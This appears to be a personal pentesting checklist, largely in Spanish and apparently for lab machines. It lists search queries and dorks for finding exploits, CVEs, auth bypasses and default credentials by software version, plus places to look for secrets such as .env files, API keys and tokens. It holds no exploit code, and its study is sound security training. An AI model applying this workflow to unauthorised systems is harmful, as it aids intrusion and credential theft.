[ ] <software> file structure
[ ] <software> default files
[ ] <software> backup files
[ ] <software> config file
[ ] <software> database configuration
--------------------------
API
[ ] <software> API
[ ] <software> API documentation
[ ] <software> REST API
[ ] <software> Swagger
[ ] <software> OpenAPI
[ ] <software> GraphQL
[ ] <software> endpoints
[ ] <software> hidden endpoints
--------------------------
GITHUB
[ ] <software> github
[ ] site:github.com "<software>"
[ ] revisar commits
[ ] revisar issues
[ ] revisar pull requests
[ ] revisar releases
[ ] revisar changelog
--------------------------
DOCKER
[ ] <software> docker
[ ] <software> docker-compose
[ ] <software> docker image
--------------------------
REPORTES
[ ] <software> pentest
[ ] <software> security assessment
[ ] <software> vulnerability
[ ] <software> security
[ ] <software> advisory
[ ] <software> writeup
[ ] <software> bug bounty
--------------------------
GOOGLE DORKS
[ ] site:github.com "<software>"
[ ] site:gitlab.com "<software>"
[ ] site:stackoverflow.com "<software>"
[ ] site:reddit.com "<software>"
[ ] site:medium.com "<software>"
[ ] site:pastebin.com "<software>"
[ ] site:exploit-db.com "<software>"
--------------------------
SI ES PHP
[ ] <software> php deserialization
[ ] <software> object injection
[ ] <software> file upload
[ ] <software> unrestricted upload
[ ] <software> LFI
[ ] <software> RFI
[ ] <software> XXE
[ ] <software> SSTI
[ ] <software> SQL injection
[ ] <software> command injection
--------------------------
SI ES JAVA
[ ] <software> deserialization
[ ] <software> spring exploit
[ ] <software> log4j
[ ] <software> template injection
--------------------------
SI ES NODE.JS
[ ] <software> prototype pollution
[ ] <software> express vulnerability
[ ] <software> path traversal
[ ] <software> file upload
--------------------------
SI ES PYTHON
[ ] <software> SSTI
[ ] <software> flask exploit
[ ] <software> django exploit
[ ] <software> pickle deserialization
--------------------------
BUSCAR INFORMACIÓN ÚTIL
[ ] usuarios por defecto
[ ] roles existentes
[ ] paneles de administración
[ ] rutas ocultas
[ ] endpoints internos
[ ] puertos internos
[ ] variables de entorno
[ ] archivos .env
[ ] archivos de configuración
[ ] rutas de logs
[ ] backups
[ ] credenciales embebidas
[ ] claves API
[ ] tokens JWT
[ ] secretos
[ ] rutas de instalación
[ ] scripts de mantenimiento
[ ] tareas programadas
[ ] servicios que utiliza (MySQL, Redis, LDAP, SMTP...)
[ ] ubicación de la base de datos
[ ] directorio donde guarda uploads
[ ] directorio temporal
[ ] directorio de logs
[ ] directorio de plugins
[ ] directorio de módulos
--------------------------
PREGUNTAS OBLIGATORIAS
[ ] ¿Existe una versión antigua accesible?
[ ] ¿Existe un panel de instalación?
[ ] ¿Existe un backup accesible?
[ ] ¿Existe una API?
[ ] ¿Existe un endpoint oculto?
[ ] ¿Existe autenticación alternativa?
[ ] ¿Existe un método de recuperación de contraseña?
[ ] ¿Hay credenciales por defecto?
[ ] ¿Hay credenciales reutilizables?
[ ] ¿La aplicación usa MySQL, LDAP, SMTP, Redis u otro servicio al que pueda conectarme?
[ ] ¿Existe documentación pública que revele rutas internas?
Buscar exploits en google
1. Buscar la versión exacta
Si Nmap te da:
Apache 2.4.46
PHP 7.3.23
Busca:
Apache 2.4.46 RCE
Apache 2.4.46 exploit
Apache 2.4.46 CVE
Apache 2.4.46 github
2. Si es una aplicación
Por ejemplo:
SeaCMS 12.9
Busca:
SeaCMS 12.9 exploit
SeaCMS 12.9 CVE
SeaCMS 12.9 github
SeaCMS 12.9 authenticated RCE
3. Si hay un login
No busques solo exploits.
Busca también:
SeaCMS 12.9 auth bypass
SeaCMS 12.9 authentication bypass
SeaCMS 12.9 login bypass
SeaCMS 12.9 default credentials
SeaCMS 12.9 password reset
SeaCMS 12.9 privilege escalation
4. Si ves una funcionalidad concreta
Por ejemplo:
upload
Busca:
SeaCMS upload RCE
SeaCMS upload unrestricted upload
SeaCMS upload bypass
Si ves:
backup
Busca:
SeaCMS backup download
SeaCMS backup disclosure
5. Buscar por el componente
Muchas veces la aplicación usa librerías.
Ejemplo:
Apache Commons Text 1.8
Entonces buscas:
Apache Commons Text 1.8 CVE
Apache Commons Text 1.8 exploit
Así encontrasteis el Text4Shell.
6. Buscar por el mensaje de error
Si aparece:
Cannot POST /login
Busca:
Cannot POST expressjs
Express API endpoints
Express hidden routes
Muchas veces el framework da pistas.
7. Buscar por la tecnología
Ejemplos:
Mercury Mail exploit
FreeSWITCH exploit
XAMPP privilege escalation
FileZilla FTP vulnerability
JDWP exploit
8. Añadir GitHub
Muchos PoC están en GitHub antes que en Exploit-DB.
SeaCMS github exploit
SeaCMS github poc
9. Añadir la CVE si la encuentras
CVE-2022-42889 github
o
CVE-2022-42889 poc
10. Buscar explotación manual
No todo tiene script.
Busca:
SeaCMS manual exploitation
SeaCMS writeup
SeaCMS walkthrough
Mi checklist de búsqueda
Cuando tenga una versión, siempre hago estas búsquedas, en este orden:
<producto> <versión> exploit
<producto> <versión> CVE
<producto> <versión> github
<producto> <versión> auth bypass
<producto> <versión> login bypass
<producto> <versión> default credentials
<producto> <versión> file upload
<producto> <versión> RCE
<producto> <versión> LFI
<producto> <versión> SSTI
<producto> <versión> SQLi
<producto> <versión> XXE
<producto> <versión> SSRF
<producto> <versión> writeup
<producto> <versión> walkthrough
Puerto 25
maquina hepet
